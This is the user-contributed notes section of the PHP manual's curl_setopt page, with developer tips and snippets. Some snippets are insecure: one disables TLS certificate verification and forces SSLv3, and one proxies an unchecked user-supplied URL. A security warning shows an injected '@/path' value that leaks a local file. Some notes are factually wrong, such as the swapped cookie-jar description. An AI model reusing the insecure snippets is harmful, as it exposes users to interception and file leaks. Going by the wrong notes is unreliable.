[1] Martin Georgiev and Subodh Iyengar and Suman Jana and Rishita Anubhai and Dan Boneh and Vitaly Shmatikov, The most dangerous code in the world: validating SSL certificates in non-browser software, ACM CCS '12, pp. 38-49, 2012
rmckay at webaware dot com dot au 24-Oct-2012 09:21
Please everyone, stop setting CURLOPT_SSL_VERIFYPEER to false or 0. If your PHP installation doesn't have an up-to-date CA root certificate bundle, download the one at the curl website and save it on your server:

http://curl.haxx.se/docs/caextract.html

Then set a path to it in your php.ini file, e.g. on Windows:

curl.cainfo=c:\php\cacert.pem

Turning off CURLOPT_SSL_VERIFYPEER allows man in the middle (MITM) attacks, which you don't want!
regan dot corey at gmail dot com 23-Oct-2012 07:22
I spent a couple of days trying to POST a multi-dimensional array of form fields, including a file upload, to a remote server to update a product. Here are the breakthroughs that FINALLY allowed the script to run as desired.

Firstly, the HTML form used input names like these:
<input type="text" name="product[name]" />
<input type="text" name="product[cost]" />
<input type="file" name="product[thumbnail]" />
in conjunction with two other form inputs not part of the product array
<input type="text" name="method" value="put" />
<input type="text" name="mode" />

I used several cURL options, but the only two (other than URL) that mattered were:
curl_setopt($handle, CURLOPT_POST, true);
curl_setopt($handle, CURLOPT_POSTFIELDS, $postfields);
Pretty standard so far.
Note: headers didn't need to be set, cURL automatically sets headers (like content-type: multipart/form-data; content-length...) when you pass an array into CURLOPT_POSTFIELDS.
Note: even though this is supposed to be a PUT command through an HTTP POST form, no special PUT options needed to be passed natively through cURL. Options such as
curl_setopt($handle, CURLOPT_HTTPHEADER, array('X-HTTP-Method-Override: PUT', 'Content-Length: ' . strlen($fields)));
or
curl_setopt($handle, CURLOPT_PUT, true);
or
curl_setopt($handle, CURLOPT_CUSTOMREQUEST, "PUT);
were not needed to make the code work.

The fields I wanted to pass through cURL were arranged into an array something like this:
$postfields = array("method" => $_POST["method"],
                    "mode" => $_POST["mode"],
                    "product" => array("name" => $_POST["product"],
                                        "cost" => $_POST["product"]["cost"],
                                        "thumbnail" => "@{$_FILES["thumbnail"]["tmp_name"]};type={$_FILES["thumbnail"]["type"]}")
                    );

-Notice how the @ precedes the temporary filename, this creates a link so PHP will upload/transfer an actual file instead of just the file name, which would happen if the @ isn't included.
-Notice how I forcefully set the mime-type of the file to upload. I was having issues where images filetypes were defaulting to octet-stream instead of image/png or image/jpeg or whatever the type of the selected image.

I then tried passing $postfields straight into curl_setopt($this->handle, CURLOPT_POSTFIELDS, $postfields); but it didn't work.
I tried using http_build_query($postfields); but that didn't work properly either.
In both cases either the file wouldn't be treated as an actual file and the form data wasn't being sent properly. The problem was HTTP's methods of transmitting arrays. While PHP and other languages can figure out how to handle arrays passed via forms, HTTP isn't quite as sofisticated. I had to rewrite the $postfields array like so:
$postfields = array("method" => $_POST["method"],
                    "mode" => $_POST["mode"],
                    "product[name]" => $_POST["product"],
                    "product[cost]" => $_POST["product"]["cost"],
                    "product[thumbnail]" => "@{$_FILES["thumbnail"]["tmp_name"]}");
curl_setopt($handle, CURLOPT_POSTFIELDS, $postfields);

This, without the use of http_build_query, solved all of my problems. Now the receiving host outputs both $_POST and $_FILES vars correctly.
miloshio at gmail dot com 20-Oct-2012 09:06
Remember:

- 'Server-side' cookies exists as information even before they were set on browser agent(HTTP COOKIE HEADER),
- javascript cookies does NOT exists as information before they were set on browser agent,

so, if you're trying to save cookies using CURLOPT_COOKIEJAR to a local file, that cookie must be server - side cookie, otherwise you are wasting time, javascript-produced cookies only exists when client browser's JS interpreter set them.
juozaspo at gmail dot com 25-Sep-2012 05:47
I've created an example that gets the file on url passed to script and outputs it to the browser.

<?php
//get the file (e.g. image) and output it to the browser
$ch = curl_init(); //open curl handle
curl_setopt($ch, CURLOPT_URL, $_GET['url']); //set an url
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //do not output directly, use variable
curl_setopt($ch, CURLOPT_BINARYTRANSFER, 1); //do a binary transfer
curl_setopt($ch, CURLOPT_FAILONERROR, 1); //stop if an error occurred
$file=curl_exec($ch); //store the content in variable
if(!curl_errno($ch))
{
    //send out headers and output
    header ("Content-type: ".curl_getinfo($ch, CURLINFO_CONTENT_TYPE)."");
    header ("Content-Length: ".curl_getinfo($ch, CURLINFO_CONTENT_LENGTH_DOWNLOAD)."");
    echo $file;
} else echo 'Curl error: ' . curl_error($ch);
curl_close($ch); //close curl handle
?>

p.s. Make sure that there're no new lines before and after code or script may not work.
qeremy [atta] gmail [dotta] com 03-Aug-2012 05:57
If you are trying to update something on your server and you need to handle this update operation by PUT;

<?php
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "PUT");
curl_setopt($ch, CURLOPT_PUT, 1);
?>

are "useless" without;

<?php
curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-HTTP-Method-Override: PUT'));
?>

Example;

Updating a book data in database identified by "id 1";

--cURL Part--
<?php
$data = http_build_query($_POST);
// or
$data = http_build_query(array(
   'name'  => 'PHP in Action',
   'price' => 10.9
));

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://api.localhost/rest/books/1");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "PUT"); // no need anymore
// or
// curl_setopt($ch, CURLOPT_PUT, 1); // no need anymore
curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-HTTP-Method-Override: PUT'));
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$ce = curl_exec($ch);
curl_close($ch);
print_r($ce);
?>

--API class--
<?php
public function putAction() {
    echo "putAction() -> id: ". $this->_getParam('id') ."\n";
    print_r($_POST);
    // do stuff with post data
    ...
?>

--Output--
putAction() -> id: 15
Array
(
    [name] => PHP in Action
    [price] => 10.9
)

---Keywords--
rest, restfull api, restfull put, curl put, curl customrequest put
adrian at foeder dot de 06-Jul-2012 04:37
if you want to do a GET request with additional body data it will become tricky not to implicitly change the request to a POST, like many notes below correctly state.
So to do the analogy of command line's

curl -XGET 'http://example.org?foo=bar' -d '<baz>some additional data</baz>'

in PHP you'll do, besides your other necessary stuff,

<?php
    curl_setopt($curlHandle, CURLOPT_CUSTOMREQUEST, 'GET');
    curl_setopt($curlHandle, CURLOPT_POSTFIELDS, '<baz>some additional data</baz>');
?>

during my experiments, every other "similar" way, like e.g. CURLOPT_HTTPGET, didn't send the additional data or fell into POST.
coding query 01-Jun-2012 02:52
Sometimes we want to extract the HTML content of the remote website page, this technique is called as HTML scrapper. This article will discuss on how we can extract the HTML content of the remote webpage.
We can achieve HTML scrapper operation in 2 step operation:
Call to Remote Web Page and extract the HTML content.
Match the HTML tags using Regular Expression.
Call to Remote Web Page using PHP:
In PHP there are various ways we can call the remote webpage. But here we will be using CURL to achieve our operation.

<?php
$ch = curl_init();
$timeout = 5; // set to zero for no timeout
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$file_contents = curl_exec($ch);
curl_close($ch);

 preg_match_all('/<span>[\\/\\(\\)-:<>\\w\\s]+< \\/span>/',$file_contents,$htmlContent);
?>
jeffb at nospam dot videx dot com 09-May-2012 07:53
When trying to pass a multi-dimensional array to CURLOPT_POSTFIELDS, first run it through http_build_query().  That will get rid of the Array to String conversion notice.
Joey Hewitt 18-Apr-2012 07:52
Note that if you put a certificate chain in a PEM file, the certificates need to be ordered so that each certificate is followed by its issuer (i.e., root last.)

Source: http://publib.boulder.ibm.com/tividd/td/ITIM/SC32-1493-00/en_US/HTML/im451_config09.htm
ellert at _removeme_ vankoperen dot nl 06-Apr-2012 10:41
If you are using curl to do a soap request and consistently get the following error back:
The server cannot service the request because the media type is unsupported.
You are sending the Content-type of soap 1.2 to a 1.1 server.
Soap 1.1 needs Content-Type: text/xml;
Soap 1.2 should have Content-Type: application/soap+xml;
anonymous 04-Apr-2012 12:55
This may be not obvious, but if you specify the CURLOPT_POSTFIELDS and don't specify the CURLOPT_POST - it will still send POST, not GET (as you might think - since GET is default).
So the line:

curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

is synonym to:

curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

Even if you set the options like this (in this order):

curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

it will send POST, since CURLOPT_POSTFIELDS is latter.
So if you want GET - make sure you don't have CURLOPT_POSTFIELDS specified somewhere.
mw+php dot net at lw-systems dot de 01-Apr-2012 03:45
The description of the use of the CURLOPT_POSTFIELDS option should be emphasize, that using POST with HTTP/1.1 with cURL implies the use of a "Expect: 100-continue" header. Some web servers will not understand the handling of chunked transfer of post data.

To disable this behavior one must disable the use of the "Expect:" header with

    curl_setopt($ch, CURLOPT_HTTPHEADER,array("Expect:"));
dotpointer at gmail dot com 01-Mar-2012 05:48
About CURLOPT_COOKIEJAR and CURLOPT_COOKIEFILE, and which / how to use.

- CURLOPT_COOKIEJAR is used when cURL is reading cookie data from disk.

- CURLOPT_COOKIEFILE is used when cURL is writing the cookie data to disk.

So you need to specify both (and set the same file location on both) when working with sessions for example.
wonderfish+php at gmail dot com 25-Feb-2012 09:22
As of at least PHP 5.3.9, if you are continuing to use a cURL session handle after downloading a file and closing the file handle, you will need to change CURLOPT_FILE back to stdout, and cannot count simply on a side effect of CURLOPT_RETURNTRANSFER to do so, even if you are setting it.  For example:

<?php
$ch = curl_init();
$fh = fopen('/path/to/stored/file/example_file.dat', 'w');
curl_setopt($ch, CURLOPT_FILE, $fh);
curl_setopt($ch, CURLOPT_URL, 'http://example.com/example_file.dat');
curl_exec($ch);
fflush($fh);
fclose($fh);

//must reset cURL file handle. Not doing so will cause a warning to be
//thrown and for cURL to default to output regardless
//for our example, we'll set return transfer.
curl_setopt($ch, CURLOPT_FILE, fopen('php://stdout', 'w'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_URL, 'http://example.org/index.html');
$html = curl_exec($ch); //this will now work
?>
dotpointer at gmail dot com 22-Feb-2012 10:13
I noted something when using CURLOPT_POSTFIELDS in combination with arrays from PHP.

You may supply an array, but there may not be any sub-arrays in this array, as this will give Array-to-string-conversion notice.

Example:

<?php
$ch = curl_init();

# this works
$data = array('name' => 'value');

# this gives "Notice: Array to string conversion..."
$data = array('name' => array('subname' => 'subvalue'));

curl_setopt($ch, CURLOPT_URL, 'http://localhost/test.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

curl_exec($ch);
?>
v dot tverdun at gmail dot com 17-Feb-2012 01:00
Make sure to set keys for array if passing to CURLOPT_POSTFIELDS.

<?php
//This can cause errors
$data = array('bar');

//Use this instead
$data = array('foo' => 'bar');

curl_setopt(CURLOPT_POSTFIELDS, $data);
?>
Tim Severien 30-Jan-2012 08:51
I've been stuck when using the CURLOPT_CONNECTTIMEOUT_MS constant. In fact, on my PHP version (5.3.1) it's not a number but rather a string. Same thing for CURLOPT_TIMEOUT_MS.

I got this error: Warning: curl_setopt() expects parameter 2 to be long, string given

If you are experiencing simular problems, you can replace the constant with the actual number or (re)define the constant.

CURLOPT_TIMEOUT_MS should be 155
CURLOPT_CONNECTTIMEOUT_MS should be 156

curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 2500); // error
curl_setopt($ch, 156, 2500); // problem solved
Adam Monsen 11-Jan-2012 01:36
CURLOPT_POST must be left unset if you want the Content-Type header set to "multipart/form-data" (e.g., when CURLOPT_POSTFIELDS is an array). If you set CURLOPT_POSTFIELDS to an array and have CURLOPT_POST set to TRUE, Content-Length will be -1 and most sane servers will reject the request. If you set CURLOPT_POSTFIELDS to an array and have CURLOPT_POST set to FALSE, cURL will send a GET request.
chsa at ten dot ch 16-Dec-2011 10:39
Sending a post file upload across a squid proxy, the request was rejected by the proxy. In the error page returned it provided among other possible causes:"Expect:" feature is being asked from a HTTP/one.zero.
Solution: Add the option <?php curl_setopt($cl,CURLOPT_HTTPHEADER,array("Expect:")); ?>. This will remove the expect http header.
Steve Kamerman 24-Jun-2011 08:47
If you want cURL to timeout in less than one second, you can use CURLOPT_TIMEOUT_MS, although there is a bug/"feature"  on "Unix-like systems" that causes libcurl to timeout immediately if the value is < 1000 ms with the error "cURL Error (28): Timeout was reached".  The explanation for this behavior is:

"If libcurl is built to use the standard system name resolver, that portion of the transfer will still use full-second resolution for timeouts with a minimum timeout allowed of one second."

What this means to PHP developers is "You can use this function without testing it first, because you can't tell if libcurl is using the standard system name resolver (but you can be pretty sure it is)"

The problem is that on (Li|U)nix, when libcurl uses the standard name resolver, a SIGALRM is raised during name resolution which libcurl thinks is the timeout alarm.

The solution is to disable signals using CURLOPT_NOSIGNAL.  Here's an example script that requests itself causing a 10-second delay so you can test timeouts:

<?php
if (!isset($_GET['foo'])) {
        // Client
        $ch = curl_init('http://localhost/test/test_timeout.php?foo=bar');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_NOSIGNAL, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT_MS, 200);
        $data = curl_exec($ch);
        $curl_errno = curl_errno($ch);
        $curl_error = curl_error($ch);
        curl_close($ch);

        if ($curl_errno > 0) {
                echo "cURL Error ($curl_errno): $curl_error\n";
        } else {
                echo "Data received: $data\n";
        }
} else {
        // Server
        sleep(10);
        echo "Done.";
}
?>
m dot ghadam at gmail dot com 13-Jun-2011 11:02
When you set ($ch, curlopt_post, 1) , after you have posted your data with curl_exec , you need to set ($ch, curlopt_post, 0), Otherwise all your subsequent requests seems as a post with no postdata and some reverse proxy servers send 500 or 403 error for these case ( access denied or forbidden )!
PHP at RHaworth dot net 02-Apr-2011 11:31
When CURLOPT_FOLLOWLOCATION and CURLOPT_HEADER are both true and redirect/s have happened then the header returned by curl_exec() will contain all the headers in the redirect chain in the order they were encountered.
support at lostair dot com 07-Mar-2011 12:26
Force Curl Request To Go To A Particular IP Address

Yes, there is a method of passing an IP address to curl.  Excellent for services with multiple IP addresses and also to take DNS out of the equation for testing/debugging.

<?php
    function fetch_page($url, $host_ip = NULL)
    {

      $ch = curl_init();

      if (!is_null($host_ip))
      {
        $urldata = parse_url($url);

        //  Ensure we have the query too, if there is any...
        if (!empty($urldata['query']))
          $urldata['path'] .= "?".$urldata['query'];

        //  Specify the host (name) we want to fetch...
        $headers = array("Host: ".$urldata['host']);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

        //  create the connecting url (with the hostname replaced by IP)
        $url = $urldata['scheme']."://".$host_ip.$urldata['path'];
      }

      curl_setopt($ch,  CURLOPT_URL, $url);
      curl_setopt ($ch, CURLOPT_HEADER, 0);
      curl_setopt($ch,  CURLOPT_RETURNTRANSFER, true);

      $result = curl_exec ($ch);
      curl_close ($ch);

      return $result;
    }
?>
S\ 18-Feb-2011 08:04
When using CURLOPT_POSTFIELDS with an array as parameter, you have to pay high attention to user input. Unvalidated user input will lead to serious security issues.

<?php

/**
 * test.php:
 */
$ch = curl_init('http://example.com');

curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, array(
    'foo' => $_GET['bar']
));

curl_exec($ch);

?>

Requesting "test.php?bar=@/home/user/test.png" will send "test.png" to example.com.
Make sure you remove the leading "@" from user input.
anon@mouse dot com 04-Feb-2011 07:11
If your POST data seems to be disappearing (POST data empty, request is being handled by the server as a GET), try rearranging the order of CURLOPT_POSTFIELDS setting with CURLOPT_NOBODY. CURLOPT_POSTFIELDS has to come AFTER CURLOPT_NOBODY setting because if it comes after it wipes out the Content-Type header that tells your URL target that the request is a POST not a GET.

Not sure if this is expected behavior but it certainly isn't documented (except on Stackoverflow.com, which is supremely unhelpful - BTW, guys over on stack overflow... once you've figured out a PHP problem, posting the solution here would save everyone extra search time).
W at RHaworth dot net 04-Feb-2011 01:22
I had problems with the Wikimedia software and sending a POST request where the data was more than 1024 bytes long. I traced this to cURL adding: Expect: 100-continue to the headers.

I added curl_setopt($ch,CURLOPT_HTTPHEADER,array("Expect:")); and that suppresses the Expect line.
zsalab 28-Jan-2011 02:12
Handling redirections with curl if safe_mode or open_basedir is enabled. The function working transparent, no problem with header and returntransfer options. You can handle the max redirection with the optional second argument (the function is set the variable to zero if max redirection exceeded).
Second parameter values:
- maxredirect is null or not set: redirect maximum five time, after raise PHP warning
- maxredirect is greather then zero: no raiser error, but parameter variable set to zero
- maxredirect is less or equal zero: no follow redirections

<?php
function curl_exec_follow(/*resource*/ $ch, /*int*/ &$maxredirect = null) {
    $mr = $maxredirect === null ? 5 : intval($maxredirect);
    if (ini_get('open_basedir') == '' && ini_get('safe_mode' == 'Off')) {
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, $mr > 0);
        curl_setopt($ch, CURLOPT_MAXREDIRS, $mr);
    } else {
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
        if ($mr > 0) {
            $newurl = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);

            $rch = curl_copy_handle($ch);
            curl_setopt($rch, CURLOPT_HEADER, true);
            curl_setopt($rch, CURLOPT_NOBODY, true);
            curl_setopt($rch, CURLOPT_FORBID_REUSE, false);
            curl_setopt($rch, CURLOPT_RETURNTRANSFER, true);
            do {
                curl_setopt($rch, CURLOPT_URL, $newurl);
                $header = curl_exec($rch);
                if (curl_errno($rch)) {
                    $code = 0;
                } else {
                    $code = curl_getinfo($rch, CURLINFO_HTTP_CODE);
                    if ($code == 301 || $code == 302) {
                        preg_match('/Location:(.*?)\n/', $header, $matches);
                        $newurl = trim(array_pop($matches));
                    } else {
                        $code = 0;
                    }
                }
            } while ($code && --$mr);
            curl_close($rch);
            if (!$mr) {
                if ($maxredirect === null) {
                    trigger_error('Too many redirects. When following redirects, libcurl hit the maximum amount.', E_USER_WARNING);
                } else {
                    $maxredirect = 0;
                }
                return false;
            }
            curl_setopt($ch, CURLOPT_URL, $newurl);
        }
    }
    return curl_exec($ch);
}
?>
gskluzacek at gmail dot com 26-Jan-2011 10:42
FYI... unless you specifically set the user agent, no user agent will be sent in your request as there is no default value like some of the other options.

As others have said, not sending a user agent may cause you to not  get the results that you expected, e.g., 0 byte length content, different content, etc.
john dot david dot steele at gmail dot com 03-Dec-2010 10:03
A note on the way Curl posts files...

<?php
  curl_setopt($ch, CURLOPT_POSTFIELDS, array('file' => '@/path/to/file.ext');
?>

will post the FULL PATH of the file in the filename field:

Content-Disposition: form-data; name="file"; filename="/path/to/file.ext"

Whereas typical browser behavior only sends the filename:

Content-Disposition: form-data; name="file"; filename="file.ext"

Workaround:
<?php
  curl_setopt($ch, CURLOPT_POSTFIELDS, array('file' => '@file.ext');
  $cwd = getcwd();
  chdir('/path/to/');
  $receivedData = curl_exec($ch);
  chdir($cwd);
?>
scy-phpmanual at scytale dot name 29-Nov-2010 01:01
In order to reset CURLOPT_HTTPHEADER, set it to array(). The cURL C API says you should set it to NULL, but that doesn’t work in the PHP wrapper.
prohfesor at gmail dot com 02-Nov-2010 10:30
This function helps to parse netscape cookie file, generated by cURL into cookie array:

<?php
  function _curl_parse_cookiefile($file) {
    $aCookies = array();
    $aLines = file($file);
    foreach($aLines as $line){
      if('#'==$line{0})
        continue;
      $arr = explode("\t", $line);
      if(isset($arr[5]) && isset($arr[6]))
        $aCookies[$arr[5]] = $arr[6];
    }

    return $aCookies;
  }
?>
kavih7 at yahoo dot com 24-Sep-2010 05:59
When POSTing with cURL, my POSTs were magically being converted to GETs and I debugged it until finding the issue. I was setting the CURLOPT_MUTE option. Not sure why this conflicts, since the documentation doesn't specify as such. Anyways, if your $_POST is empty, make sure you aren't setting CURLOPT_MUTE.

Cheers!
sam at def dot reyssi dot net 28-Jul-2010 12:43
Be careful when setting the CURLOPT_POSTFIELDS setting using an array. The array used to set the POST fields must only contain scalar values. Multidimentional arrays or objects lacking a __toString implementation will cause Curl to error.

If there is a need to send non-scalar values using a POST request, consider serializing them before transmission.

<?php
$ch = curl_init('http://host.example.com');

// Data to post
$multiDimensional = array(
   'name' = 'foo',
   'data' = array(1,2,3,4),
   'value' = 'bar'
);

// Will error
curl_setopt($ch, CURLOPT_POSTFIELDS, $multiDimensional);

// Data to post
$postData = array(
  'name' = 'foo',
  'data' = serialize(array(1,2,3,4)),
  'value' = 'bar'
);

// Will not error
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
?>
joeterranova at gmail dot com 26-Jul-2010 09:57
It appears that setting CURLOPT_FILE before setting CURLOPT_RETURNTRANSFER doesn't work, presumably because CURLOPT_FILE depends on CURLOPT_RETURNTRANSFER being set.

So do this:

<?php
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FILE, $fp);
?>

not this:

<?php
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
?>
patryk at do dot not dot spam dot com 05-Jul-2010 02:33
CURLOPT_HTTPPROXYTUNNEL means curl will use CONNECT method of the HTTP protocol to make a tunnel through a proxy, which is most likely not the one you want to do.
JScott jscott401 at gmail dot com 18-Jun-2010 04:29
Some additional notes for curlopt_writefunction. I struggled with this at first because it really isn't documented very well.

When you write a callback function and use it with curlopt_writefunction it will be called MULTIPLE times. Your function MUST return the ammount of data written to it each time. It is very picky about this. Here is a snippet from my code that may help you

<?php
curl_setopt($this->curl_handle, CURLOPT_WRITEFUNCTION, array($this, "receiveResponse"));

// later on in the class I wrote my receive Response method

private function receiveResponse($curlHandle,$xmldata)
                {
                        $this->responseString = $xmldata;
                        $this->responseXML .=  $this->responseString;
                        $this->length = strlen($xmldata);
                        $this->size += $this->length;
                        return $this->length;

                }
?>

Now I did this for a class. If you aren't doing OOP then you will obviously need to modify this for your own use.

CURL calls your script MULTIPLE times because the data will not always be sent all at once. Were talking internet here so its broken up into packets. You need to take your data and concatenate it all together until it is all written. I was about to pull my damn hair out because I would get broken chunks of XML back from the server and at random lengths. I finally figured out what was going on. Hope this helps
shailesh4all at gmail dot com 29-May-2010 12:42
Hi,
Anyone who is interested in submitting their information by post to HTTPS site (e.g. payment gateway) where https page needs basic authentication before submitting the information. below code will be helpful.

<?php
$submit_url = "https://sitename/process.php";

$curl = curl_init();

curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC ) ;
curl_setopt($curl, CURLOPT_USERPWD, "username:password");
curl_setopt($curl, CURLOPT_SSLVERSION,3);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($curl, CURLOPT_HEADER, true);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $params );
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
curl_setopt($curl, CURLOPT_URL, $submit_url);

$data = split("text/html", curl_exec($curl) );
$temp = split("\r\n", $data[1]) ;

$result = unserialize( $temp[2] ) ;

print_r($result);
curl_close($curl);
?>
obones_remove_me at free dot fr 27-Apr-2010 12:27
For those of you wondering how to specify the content-type for a file uploaded via curl, the syntax is as follows:

<?php

$data = array('file' => '@/home/user/test.png;type=image/png');

?>

Simply adding a semicolon with the type= at the end.
Note that this has been reported not to work in all versions of PHP and I have done the following tests:

5.2.6 (libcurl 7.18.2) : Does not work
5.2.13 (libcurl 7.20.0) : Works just fine

So it might be worth updating your installation of PHP and/or libcurl if you want to be able to use this syntax
sjungwirth at google mail dot com 23-Apr-2010 12:11
I couldn't find a way to force a curl request to go to a particular IP address, but you can do it with fsockopen:
<?php
    $ip = '123.45.67.89';
    $fp = fsockopen($ip, 80, $errno, $errstr, 5);
    $result = '';
    if (!$fp) {
        echo "$errstr ($errno)<br />\n";
    } else {
        $out = "GET /path/to/the/file.ext HTTP/1.1\r\n";
        $out .= "Host: www.exampl.com\r\n";
        $out .= "Connection: Close\r\n\r\n";
        fwrite($fp, $out);
        while (!feof($fp)) {
            $result .= fgets($fp, 128);
        }
        fclose($fp);
    }
?>
I needed it to test the response from a set of servers behind a load balancer.
clint at fewbar dot com 16-Apr-2010 11:56
If you have turned on conditional gets on a curl handle, and then for a subsequent request, you don't have a good setting for CURLOPT_TIMEVALUE , you can disable If-Modified-Since checking with:

<?php

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $foo);
curl_setopt($ch, CURLOPT_TIMEVALUE, filemtime($foo_path));
curl_setopt($ch, CURLOPT_TIMECONDITION, CURLOPT_TIMECOND_IFMODIFIEDSINCE);
curl_exec($ch);
// Reuse same curl handle
curl_setopt($ch, CURLOPT_URL, $bar);
curl_setopt($ch, CURLOPT_TIMEVALUE, null); // don't know mtime
curl_setopt($ch, CURLOPT_TIMECONDITION, 0); // set it to 0, turns it off
curl_exec($ch);

?>
julien veneziano 08-Apr-2010 12:56
If you need to send deta in a DELETE request, use:

<?php
$request_body = 'some data';
$ch = curl_init('http://www.example.com');
        curl_setopt($ch, CURLOPT_POSTFIELDS, $request_body);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "DELETE");
        $response = curl_exec($ch);
var_dump($response);
?>
anderseta at gmail dot com 22-Mar-2010 11:48
If you wish to find the size of the file you are streaming and use it as your header this is how:

<?php

function write_function($curl_resource, $string)
{
    if(curl_getinfo($curl_resource, CURLINFO_SIZE_DOWNLOAD) <= 2000)
    {
        header('Expires: 0');
        header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
        header('Pragma: public');
        header('Content-Description: File Transfer');
        header("Content-Transfer-Encoding: binary");
        header("Content-Type: ".curl_getinfo($curl_resource, CURLINFO_CONTENT_TYPE)."");
        header("Content-Length: ".curl_getinfo($curl_resource, CURLINFO_CONTENT_LENGTH_DOWNLOAD)."");
    }

    print $string;

    return mb_strlen($string, '8bit');
}

?>

1440 is the the default number of bytes curl will call the write function (BUFFERSIZE does not affect this, i actually think you can not change this value), so it means the headers are going to be set only one time.

write_function must return the exact number of bytes of the string, so you can return a value with mb_strlen.
starosielec at googlemail dot com 20-Feb-2010 12:07
You can use also use object methods as callback functions. This is usefull if your curl ressource is part of an object handling transfers.
Instead of curl_setopt($curl, CURLOPT_WRITEFUNCTION, "curl_handler_recv") you can use array($object, "method") as value for callback options.

For example:

<?php
class downloader {
    private $curl;

    function __construct() {
        $this->curl = curl_init();
        curl_setopt($this->curl, CURLOPT_WRITEFUNCTION, array($this, "curl_handler_recv"));
    }

     function curl_handler_recv($res, $data) {
      //...
     }
   //...
}
?>
Ed Cradock 05-Feb-2010 07:47
PUT requests are very simple, just make sure to specify a content-length header and set post fields as a string.

Example:

<?php
function doPut($url, $fields)
{
   $fields = (is_array($fields)) ? http_build_query($fields) : $fields;

   if($ch = curl_init($url))
   {
      curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
      curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Length: ' . strlen($fields)));
      curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
      curl_exec($ch);

      $status = curl_getinfo($ch, CURLINFO_HTTP_CODE);

      curl_close($ch);

      return (int) $status;
   }
   else
   {
      return false;
   }
}

if(doPut('http://example.com/api/a/b/c', array('foo' => 'bar')) == 200)
   // do something
else
   // do something else.
?>

You can grab the request data on the other side with:

<?php
if($_SERVER['REQUEST_METHOD'] == 'PUT')
{
   parse_str(file_get_contents('php://input'), $requestData);

   // Array ( [foo] => bar )
   print_r($requestData);

   // Do something with data...
}
?>

DELETE  can be done in exactly the same way.
Pawel Antczak 09-Dec-2009 09:07
Hello.
During problems with "CURLOPT_FOLLOWLOCATION cannot be activated when in safe_mode or an open_basedir is set"
I was looking for solution.
I've found few methods on this page, but none of them was good enough, so I made one.
<?php
function curl_redirect_exec($ch, &$redirects, $curlopt_header = false) {
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    if ($http_code == 301 || $http_code == 302) {
        list($header) = explode("\r\n\r\n", $data, 2);
        $matches = array();
        preg_match('/(Location:|URI:)(.*?)\n/', $header, $matches);
        $url = trim(array_pop($matches));
        $url_parsed = parse_url($url);
        if (isset($url_parsed)) {
            curl_setopt($ch, CURLOPT_URL, $url);
            $redirects++;
            return curl_redirect_exec($ch, $redirects);
        }
    }
    if ($curlopt_header)
        return $data;
    else {
        list(,$body) = explode("\r\n\r\n", $data, 2);
        return $body;
    }
}
?>

Main issue in existing functions was lack of information, how many redirects was done.
This one will count it.
First parameter as usual.
Second should be already initialized integer, it will be incremented by number of done redirects.
You can set CURLOPT_HEADER if You need it.
Chris at PureFormSolutions dot com 23-Sep-2009 12:54
I've found that setting CURLOPT_HTTPHEADER more than once will clear out any headers you've set previously with CURLOPT_HTTPHEADER.

Consider the following:
<?php
    # ...

    curl_setopt($cURL,CURLOPT_HTTPHEADER,array (
        "Content-Type: text/xml; charset=utf-8",
        "Expect: 100-continue"
    ));

    # ... do some other stuff ...

    curl_setopt($cURL,CURLOPT_HTTPHEADER,array (
        "Accept: application/json"
    ));

    # ...
?>

Both the Content-Type and Expect I set will not be in the outgoing headers, but Accept will.
Stan van de Burgt 19-Sep-2009 11:41
